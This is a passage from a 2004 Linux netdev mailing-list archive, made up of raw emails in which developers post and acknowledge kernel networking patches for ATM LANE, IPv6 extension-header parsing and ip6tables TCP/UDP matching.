(ptype->type == type && (!ptype->dev || ptype->dev == skb->dev)) { From chas@cmf.nrl.navy.mil Wed Feb 25 15:52:54 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 15:52:57 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PNqpKO015965 for ; Wed, 25 Feb 2004 15:52:53 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1PNqkg5006305; Wed, 25 Feb 2004 18:52:46 -0500 (EST) Message-Id: <200402252352.i1PNqkg5006305@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lec] send queued packets immediately after path switch Reply-To: chas3@users.sourceforge.net Date: Wed, 25 Feb 2004 18:52:47 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3585 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev backport of similar patch for 2.6. please apply to 2.4 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1354 -> 1.1355 # net/atm/lec.c 1.21 -> 1.22 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/25 chas@relax.cmf.nrl.navy.mil 1.1355 # [ATM]: [lec] send queued packets immediately after path switch # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Wed Feb 25 15:34:04 2004 +++ b/net/atm/lec.c Wed Feb 25 15:34:04 2004 @@ -208,6 +208,22 @@ return 0; } +static __inline__ void +lec_send(struct atm_vcc *vcc, struct sk_buff *skb, struct lec_priv *priv) +{ + if (atm_may_send(vcc, skb->len)) { + atomic_add(skb->truesize, &vcc->sk->wmem_alloc); + ATM_SKB(skb)->vcc = vcc; + ATM_SKB(skb)->atm_options = vcc->atm_options; + priv->stats.tx_packets++; + priv->stats.tx_bytes += skb->len; + vcc->send(vcc, skb); + } else { + priv->stats.tx_dropped++; + dev_kfree_skb(skb); + } +} + static int lec_send_packet(struct sk_buff *skb, struct net_device *dev) { @@ -352,33 +368,10 @@ DPRINTK("MAC address 0x%02x:%02x:%02x:%02x:%02x:%02x\n", lec_h->h_dest[0], lec_h->h_dest[1], lec_h->h_dest[2], lec_h->h_dest[3], lec_h->h_dest[4], lec_h->h_dest[5]); - ATM_SKB(skb2)->vcc = send_vcc; - ATM_SKB(skb2)->atm_options = send_vcc->atm_options; - DPRINTK("%s:sending to vpi:%d vci:%d\n", dev->name, - send_vcc->vpi, send_vcc->vci); - if (atm_may_send(send_vcc, skb2->len)) { - atomic_add(skb2->truesize, &send_vcc->sk->wmem_alloc); - priv->stats.tx_packets++; - priv->stats.tx_bytes += skb2->len; - send_vcc->send(send_vcc, skb2); - } else { - priv->stats.tx_dropped++; - dev_kfree_skb(skb2); - } + lec_send(send_vcc, skb2, priv); } - ATM_SKB(skb)->vcc = send_vcc; - ATM_SKB(skb)->atm_options = send_vcc->atm_options; - if (atm_may_send(send_vcc, skb->len)) { - atomic_add(skb->truesize, &send_vcc->sk->wmem_alloc); - priv->stats.tx_packets++; - priv->stats.tx_bytes += skb->len; - send_vcc->send(send_vcc, skb); - } else { - priv->stats.tx_dropped++; - dev_kfree_skb(skb); - } - + lec_send(send_vcc, skb, priv); #if 0 /* Should we wait for card's device driver to notify us? */ dev->tbusy=0; @@ -1614,6 +1607,10 @@ && time_after_eq(now, entry->timestamp+ priv->path_switching_delay)) { + struct sk_buff *skb; + + while ((skb = skb_dequeue(&entry->tx_wait))) + lec_send(entry->vcc, skb, entry->priv); entry->last_used = jiffies; entry->status = ESI_FORWARD_DIRECT; @@ -2007,6 +2004,10 @@ for (entry=priv->lec_arp_tables[i];entry;entry=entry->next) { if (entry->flush_tran_id == tran_id && entry->status == ESI_FLUSH_PENDING) { + struct sk_buff *skb; + + while ((skb = skb_dequeue(&entry->tx_wait))) + lec_send(entry->vcc, skb, entry->priv); entry->status = ESI_FORWARD_DIRECT; DPRINTK("LEC_ARP: Flushed\n"); } From chas@cmf.nrl.navy.mil Wed Feb 25 15:52:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 15:52:14 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1PNqAKO015908 for ; Wed, 25 Feb 2004 15:52:10 -0800 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id i1PNq5g5006290; Wed, 25 Feb 2004 18:52:05 -0500 (EST) Message-Id: <200402252352.i1PNq5g5006290@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lec] timer cleanup Reply-To: chas3@users.sourceforge.net Date: Wed, 25 Feb 2004 18:52:06 -0500 From: "chas williams (contractor)" X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 3584 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev backport of similar patch for 2.6. please apply to 2.4 -- thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1353 -> 1.1354 # net/atm/lec.c 1.20 -> 1.21 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 04/02/25 chas@relax.cmf.nrl.navy.mil 1.1354 # [ATM]: [lec] timer cleanup # -------------------------------------------- # diff -Nru a/net/atm/lec.c b/net/atm/lec.c --- a/net/atm/lec.c Wed Feb 25 15:33:49 2004 +++ b/net/atm/lec.c Wed Feb 25 15:33:49 2004 @@ -1043,7 +1043,7 @@ #define LEC_ARP_REFRESH_INTERVAL (3*HZ) static void lec_arp_check_expire(unsigned long data); -static __inline__ void lec_arp_expire_arp(unsigned long data); +static void lec_arp_expire_arp(unsigned long data); void dump_arp_table(struct lec_priv *priv); /* @@ -1383,7 +1383,7 @@ struct lec_arp_table *entry, *next; int i; - del_timer(&priv->lec_arp_timer); + del_timer_sync(&priv->lec_arp_timer); /* * Remove all entries @@ -1398,7 +1398,7 @@ entry = priv->lec_arp_empty_ones; while(entry) { next = entry->next; - del_timer(&entry->timer); + del_timer_sync(&entry->timer); lec_arp_clear_vccs(entry); kfree(entry); entry = next; @@ -1407,7 +1407,7 @@ entry = priv->lec_no_forward; while(entry) { next = entry->next; - del_timer(&entry->timer); + del_timer_sync(&entry->timer); lec_arp_clear_vccs(entry); kfree(entry); entry = next; @@ -1416,7 +1416,7 @@ entry = priv->mcast_fwds; while(entry) { next = entry->next; - del_timer(&entry->timer); + /* No timer, LANEv2 7.1.20 and 2.3.5.3 */ lec_arp_clear_vccs(entry); kfree(entry); entry = next; @@ -1490,8 +1490,6 @@ entry = (struct lec_arp_table *)data; - del_timer(&entry->timer); - DPRINTK("lec_arp_expire_arp\n"); if (entry->status == ESI_ARP_PENDING) { if (entry->no_tries <= entry->priv->max_retry_count) { @@ -1501,8 +1499,7 @@ send_to_lecd(entry->priv, l_arp_xmt, entry->mac_addr, NULL, NULL); entry->no_tries++; } - entry->timer.expires = jiffies + (1*HZ); - add_timer(&entry->timer); + mod_timer(&entry->timer, jiffies + (1*HZ)); } } @@ -1574,8 +1571,6 @@ unsigned long time_to_check; int i; - del_timer(&priv->lec_arp_timer); - DPRINTK("lec_arp_check_expire %p,%d\n",priv, atomic_read(&priv->lec_arp_users)); DPRINTK("expire: eo:%p nf:%p\n",priv->lec_arp_empty_ones, @@ -1629,8 +1624,8 @@ } lec_arp_put(priv); } - priv->lec_arp_timer.expires = jiffies + LEC_ARP_REFRESH_INTERVAL; - add_timer(&priv->lec_arp_timer); + + mod_timer(&priv->lec_arp_timer, jiffies + LEC_ARP_REFRESH_INTERVAL); } /* * Try to find vcc where mac_address is attached. From matthias.andree@gmx.de Wed Feb 25 17:59:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 17:59:14 -0800 (PST) Received: from m2a2.dyndns.org (IDENT:T6GqvhFpv1tCnNtYqKtcxn4871FKKBaP@pD9E1ED49.dip.t-dialin.net [217.225.237.73]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q1x9KO022165 for ; Wed, 25 Feb 2004 17:59:10 -0800 Received: by merlin.emma.line.org (Postfix, from userid 500) id A3DE0AB194; Thu, 26 Feb 2004 02:59:07 +0100 (CET) Date: Thu, 26 Feb 2004 02:59:07 +0100 From: Matthias Andree To: Linux-Kernel mailing list Cc: netdev@oss.sgi.com Subject: 2.6: net/core.c should export sysctl_optmem_max for modular IPV6 Message-ID: <20040226015907.GA10986@merlin.emma.line.org> Mail-Followup-To: Linux-Kernel mailing list , netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1i X-archive-position: 3586 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: matthias.andree@gmx.de Precedence: bulk X-list: netdev Hi, IPv6 built as a module fails (in 2.6 BitKeeper tree) because it cannot link to sysctl_optmem_max, trivial patch: # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/02/26 02:00:09+01:00 matthias.andree@gmx.de # EXPORT_SYMBOL(sysctl_optmem_max) to make IPv6 happy. # # net/core/sock.c # 2004/02/26 01:58:51+01:00 matthias.andree@gmx.de +1 -0 # EXPORT_SYMBOL(sysctl_optmem_max) to make IPv6 happy. # diff -Nru a/net/core/sock.c b/net/core/sock.c --- a/net/core/sock.c Thu Feb 26 02:49:06 2004 +++ b/net/core/sock.c Thu Feb 26 02:49:06 2004 @@ -1186,6 +1186,7 @@ EXPORT_SYMBOL(sock_wfree); EXPORT_SYMBOL(sock_wmalloc); #ifdef CONFIG_SYSCTL +EXPORT_SYMBOL(sysctl_optmem_max); EXPORT_SYMBOL(sysctl_rmem_max); EXPORT_SYMBOL(sysctl_wmem_max); #endif -- Matthias Andree Encrypt your mail: my GnuPG key ID is 0x052E7D95 From jmorris@redhat.com Wed Feb 25 18:35:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 18:35:34 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q2ZLKO022961 for ; Wed, 25 Feb 2004 18:35:22 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i1Q2ZJb10679; Wed, 25 Feb 2004 21:35:19 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i1Q2ZJ810229; Wed, 25 Feb 2004 21:35:19 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i1Q2ZDYK009286; Wed, 25 Feb 2004 21:35:19 -0500 Date: Wed, 25 Feb 2004 21:35:38 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: Vivek Kashyap cc: netdev@oss.sgi.com Subject: Re: [PATCH] proportional share accept() In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3587 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev On Wed, 25 Feb 2004, Vivek Kashyap wrote: > static inline int tcp_synq_is_full(struct sock *sk) > @@ -1796,6 +1785,12 @@ > req->acked = 0; > req->ecn_ok = 0; > req->rmt_port = skb->h.th->source; > + req->acceptq_start_ticket = 0; > + req->acceptq_time_stamp = 0; > + if (tp->acceptq_max_class) > + req->acceptq_class = (skb->nfmark <= 0) ? 0 : > + ((skb->nfmark > NUM_ACCEPT_QUEUES) ? > + 0: skb->nfmark); > } Have you tried compiling this without CONFIG_NETFILTER? - James -- James Morris From yasuyuki.kozakai@toshiba.co.jp Wed Feb 25 19:49:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 19:49:25 -0800 (PST) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q3nHKO024205 for ; Wed, 25 Feb 2004 19:49:18 -0800 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id i1Q3n589014233; Thu, 26 Feb 2004 12:49:05 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id i1Q3n5Qf025671; Thu, 26 Feb 2004 12:49:05 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id NAA25666 ; Thu, 26 Feb 2004 12:49:05 +0900 Received: from mx.toshiba.co.jp by tis2.tis.toshiba.co.jp id MAA16154; Thu, 26 Feb 2004 12:49:05 +0900 (JST) Received: by toshiba.co.jp id MAA22692; Thu, 26 Feb 2004 12:49:03 +0900 (JST) Date: Thu, 26 Feb 2004 12:48:31 +0900 (JST) Message-Id: <200402260349.MAA22692@toshiba.co.jp> To: davem@redhat.com Cc: netdev@oss.sgi.com, netfilter-devel@lists.netfilter.org, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: ipv6_skip_exthdr() may refer invalid memory area From: Yasuyuki Kozakai In-Reply-To: <20040220093027.2c03f48c.davem@redhat.com> References: <200402200534.OAA04081@toshiba.co.jp> <20040220093027.2c03f48c.davem@redhat.com> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Thu_Feb_26_12:48:31_2004_711)--" Content-Transfer-Encoding: 7bit X-archive-position: 3588 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev ----Next_Part(Thu_Feb_26_12:48:31_2004_711)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, This patch is for linux 2.4.26-pre1 . ----------------------------------------------------------------- Yasuyuki KOZAKAI @ USAGI Project From: "David S. Miller" Date: Fri, 20 Feb 2004 09:30:27 -0800 > On Fri, 20 Feb 2004 14:33:59 +0900 (JST) > Yasuyuki Kozakai wrote: > > > ipv6_skip_exthdr() refer invalid memory area in the case > > that packet includes Fragment Header. > > > > please apply this patch. > > Applied, thank you Yasuyuki-san. ----Next_Part(Thu_Feb_26_12:48:31_2004_711)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="linux-2.4.26-pre1-skip-exthdr.patch" diff -Nur linux-2.4.26-pre1/net/ipv6/exthdrs.c linux-2.4.26-pre1-fixed/net/ipv6/exthdrs.c --- linux-2.4.26-pre1/net/ipv6/exthdrs.c 2003-08-25 20:44:44.000000000 +0900 +++ linux-2.4.26-pre1-fixed/net/ipv6/exthdrs.c 2004-02-26 10:44:21.000000000 +0900 @@ -798,8 +798,16 @@ if (skb_copy_bits(skb, start, &hdr, sizeof(hdr))) BUG(); if (nexthdr == NEXTHDR_FRAGMENT) { - struct frag_hdr *fhdr = (struct frag_hdr *) &hdr; - if (ntohs(fhdr->frag_off) & ~0x7) + unsigned short frag_off; + if (skb_copy_bits(skb, + start+offsetof(struct frag_hdr, + frag_off), + &frag_off, + sizeof(frag_off))) { + return -1; + } + + if (ntohs(frag_off) & ~0x7) break; hdrlen = 8; } else if (nexthdr == NEXTHDR_AUTH) ----Next_Part(Thu_Feb_26_12:48:31_2004_711)---- From yasuyuki.kozakai@toshiba.co.jp Wed Feb 25 20:06:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 20:06:39 -0800 (PST) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q46XKO024751 for ; Wed, 25 Feb 2004 20:06:34 -0800 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id i1Q46M89028461; Thu, 26 Feb 2004 13:06:23 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id i1Q46MNW023953; Thu, 26 Feb 2004 13:06:22 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id PAA23951 ; Thu, 26 Feb 2004 13:06:22 +0900 Received: from mx4.toshiba.co.jp by tis2.tis.toshiba.co.jp id NAA04176; Thu, 26 Feb 2004 13:06:22 +0900 (JST) Received: by toshiba.co.jp id NAA16034; Thu, 26 Feb 2004 13:06:21 +0900 (JST) Date: Thu, 26 Feb 2004 13:05:50 +0900 (JST) Message-Id: <200402260406.NAA16034@toshiba.co.jp> To: davem@redhat.com, netfilter-devel@lists.netfilter.org Cc: netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH]: invaild TCP/UDP matching when ipv6 extension header exists From: Yasuyuki Kozakai In-Reply-To: <20040220093158.3c12ea9a.davem@redhat.com> <200402200612.PAA12001@toshiba.co.jp> References: <200401310649.PAA00050@toshiba.co.jp> <200402200612.PAA12001@toshiba.co.jp> <20040220093158.3c12ea9a.davem@redhat.com> X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Thu_Feb_26_13:05:50_2004_160)--" Content-Transfer-Encoding: 7bit X-archive-position: 3589 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev ----Next_Part(Thu_Feb_26_13:05:50_2004_160)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, This patch is for linux 2.4.26-pre1 . Summery: tcp_match() and udp_match() in ip6tables.c assume that previous header of TCP/UDP header is IPv6 Header. So, for example, 1st of fragmented UDP packet, AHed packets can't correctly match the rules which use "--sport" and so on. ----------------------------------------------------------------- Yasuyuki KOZAKAI @ USAGI Project From: "David S. Miller" Date: Fri, 20 Feb 2004 09:31:58 -0800 > On Fri, 20 Feb 2004 15:12:17 +0900 (JST) > Yasuyuki Kozakai wrote: > > > I sent the patch which fixes this bug to netfilter-devel, but it include > > other bug... sorry, I rewrite patch for ip6_tables.c . > > > > Please don't forget apply the patch which fixes the bug in ipv6_skip_exthdr() > > before you tests this patch. I sent it last few minutes to netdev and > > netfilter-devel. > > I have applied this patch too, thanks a lot. ----Next_Part(Thu_Feb_26_13:05:50_2004_160)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="linux-2.4.26-pre1-tcpudp.patch" diff -Nur linux-2.4.26-pre1/net/ipv6/ipv6_syms.c linux-2.4.26-pre1-fixed/net/ipv6/ipv6_syms.c --- linux-2.4.26-pre1/net/ipv6/ipv6_syms.c 2003-11-29 03:26:21.000000000 +0900 +++ linux-2.4.26-pre1-fixed/net/ipv6/ipv6_syms.c 2004-02-26 11:03:19.000000000 +0900 @@ -33,3 +33,5 @@ EXPORT_SYMBOL(ipv6_get_saddr); EXPORT_SYMBOL(ipv6_chk_addr); EXPORT_SYMBOL(in6_dev_finish_destroy); +EXPORT_SYMBOL(ipv6_skip_exthdr); + diff -Nur linux-2.4.26-pre1/net/ipv6/netfilter/ip6_tables.c linux-2.4.26-pre1-fixed/net/ipv6/netfilter/ip6_tables.c --- linux-2.4.26-pre1/net/ipv6/netfilter/ip6_tables.c 2004-02-18 22:36:32.000000000 +0900 +++ linux-2.4.26-pre1-fixed/net/ipv6/netfilter/ip6_tables.c 2004-02-26 10:45:26.000000000 +0900 @@ -1568,8 +1568,10 @@ u_int16_t datalen, int *hotdrop) { - const struct tcphdr *tcp = hdr; + const struct tcphdr *tcp; const struct ip6t_tcp *tcpinfo = matchinfo; + int tcpoff; + u8 nexthdr = skb->nh.ipv6h->nexthdr; /* To quote Alan: @@ -1590,6 +1592,24 @@ return 0; } + tcpoff = (u8*)(skb->nh.ipv6h + 1) - skb->data; + tcpoff = ipv6_skip_exthdr(skb, tcpoff, &nexthdr, skb->len - tcpoff); + if (tcpoff < 0 || tcpoff > skb->len) { + duprintf("tcp_match: cannot skip exthdr. Dropping.\n"); + *hotdrop = 1; + return 0; + } else if (nexthdr == IPPROTO_FRAGMENT) + return 0; + else if (nexthdr != IPPROTO_TCP || + skb->len - tcpoff < sizeof(struct tcphdr)) { + /* cannot be occured */ + duprintf("tcp_match: cannot get TCP header. Dropping.\n"); + *hotdrop = 1; + return 0; + } + + tcp = (struct tcphdr *)(skb->data + tcpoff); + /* FIXME: Try tcp doff >> packet len against various stacks --RR */ #define FWINVTCP(bool,invflg) ((bool) ^ !!(tcpinfo->invflags & invflg)) @@ -1640,8 +1660,10 @@ u_int16_t datalen, int *hotdrop) { - const struct udphdr *udp = hdr; + const struct udphdr *udp; const struct ip6t_udp *udpinfo = matchinfo; + int udpoff; + u8 nexthdr = skb->nh.ipv6h->nexthdr; if (offset == 0 && datalen < sizeof(struct udphdr)) { /* We've been asked to examine this packet, and we @@ -1651,6 +1673,23 @@ return 0; } + udpoff = (u8*)(skb->nh.ipv6h + 1) - skb->data; + udpoff = ipv6_skip_exthdr(skb, udpoff, &nexthdr, skb->len - udpoff); + if (udpoff < 0 || udpoff > skb->len) { + duprintf("udp_match: cannot skip exthdr. Dropping.\n"); + *hotdrop = 1; + return 0; + } else if (nexthdr == IPPROTO_FRAGMENT) + return 0; + else if (nexthdr != IPPROTO_UDP || + skb->len - udpoff < sizeof(struct udphdr)) { + duprintf("udp_match: cannot get UDP header. Dropping.\n"); + *hotdrop = 1; + return 0; + } + + udp = (struct udphdr *)(skb->data + udpoff); + /* Must not be a fragment. */ return !offset && port_match(udpinfo->spts[0], udpinfo->spts[1], ----Next_Part(Thu_Feb_26_13:05:50_2004_160)---- From jgarzik@pobox.com Wed Feb 25 21:44:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:44:42 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5iVKO029807 for ; Wed, 25 Feb 2004 21:44:32 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1047 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwEJy-00018E-LF; Thu, 26 Feb 2004 05:44:30 +0000 Message-ID: <403D87B3.5000102@pobox.com> Date: Thu, 26 Feb 2004 00:44:19 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [patch 2.6.3] pcnet32 non-mii link state fix References: <200402250102.i1P12Ak20519@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200402250102.i1P12Ak20519@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3590 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied From jgarzik@pobox.com Wed Feb 25 21:44:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:44:48 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5igKO029814 for ; Wed, 25 Feb 2004 21:44:45 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1048 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwEK9-00018Y-KU; Thu, 26 Feb 2004 05:44:41 +0000 Message-ID: <403D87BE.3060105@pobox.com> Date: Thu, 26 Feb 2004 00:44:30 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christoph Hellwig CC: netdev@oss.sgi.com Subject: Re: [PATCH] remove useless MOD_{INC,DEC}_USE_COUNT in wanpipe References: <20040222192059.GA28659@lst.de> In-Reply-To: <20040222192059.GA28659@lst.de> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3591 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied all 5 From jgarzik@pobox.com Wed Feb 25 21:48:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:48:30 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5mQKO030517 for ; Wed, 25 Feb 2004 21:48:27 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1052 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwENl-0001CI-AJ; Thu, 26 Feb 2004 05:48:25 +0000 Message-ID: <403D889D.6020000@pobox.com> Date: Thu, 26 Feb 2004 00:48:13 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Xose Vazquez Perez CC: netdev@oss.sgi.com, marcelo.tosatti@cyclades.com Subject: Re: [PATCH ] more ne2k-pci clone boards References: <4038CA5A.30501@wanadoo.es> In-Reply-To: <4038CA5A.30501@wanadoo.es> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3592 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 From jgarzik@pobox.com Wed Feb 25 21:48:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:48:38 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5mWKO030527 for ; Wed, 25 Feb 2004 21:48:35 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1053 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwENr-0001D0-SJ; Thu, 26 Feb 2004 05:48:31 +0000 Message-ID: <403D88A4.3060905@pobox.com> Date: Thu, 26 Feb 2004 00:48:20 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Xose Vazquez Perez CC: netdev@oss.sgi.com, marcelo.tosatti@cyclades.com Subject: Re: [PATCH ] more RTL-8139 clone boards References: <4038CA28.1080500@wanadoo.es> In-Reply-To: <4038CA28.1080500@wanadoo.es> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3593 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev applied to 2.4 From jgarzik@pobox.com Wed Feb 25 21:49:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 25 Feb 2004 21:49:48 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1Q5ngKO030855 for ; Wed, 25 Feb 2004 21:49:45 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:1056 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AwEOz-0001Dd-T3; Thu, 26 Feb 2004 05:49:42 +0000 Message-ID: <403D88EA.3060803@pobox.com> 